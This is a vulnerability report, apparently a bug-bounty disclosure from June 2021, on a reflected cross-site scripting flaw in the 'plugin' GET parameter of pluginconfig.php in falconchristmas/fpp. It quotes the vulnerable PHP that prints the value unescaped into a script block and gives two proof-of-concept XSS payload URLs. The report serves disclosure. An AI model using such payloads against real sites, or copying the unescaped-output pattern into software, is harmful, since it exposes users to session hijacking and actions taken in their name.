Cross-site Scripting (XSS) - Reflected in falconchristmas/fpp
Reported on
Jun 27th 2021
✍️ Description
GET parameter ?plugin=
is vulnerable to reflected cross site scripting. Line 17
of pluginconfig.php
sends unvalidated data to a web browser, which can result in the browser executing malicious code. In this case the data is sent at printf()
in pluginconfig.php
at line 17.
🕵️♂️ Proof of Concept
VULNERABLE CODE
#gets unvalidated user input as "plugin"
$pluginSettings['plugin'] = $_GET['plugin'];
if (!isset($skipJSsettings))
{
?>
<script type="text/javascript">
var pluginSettings = new Array();
<?
foreach ($pluginSettings as $key => $value) {
printf(" pluginSettings['%s'] = \"%s\";\n", $key, $value); #print it to user response
}
?>
</script>
💥 Impact
The attacker can:
Perform any action within the application that the user can perform. View any information that the user is able to view. Modify any information that the user is able to modify. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
Occurrences
Visit /pluginconfig.php?plugin=</script><script>alert(1)
and XSS will be poped up
Technically you need something like /pluginconfig.php?plugin=%22;alert(1);//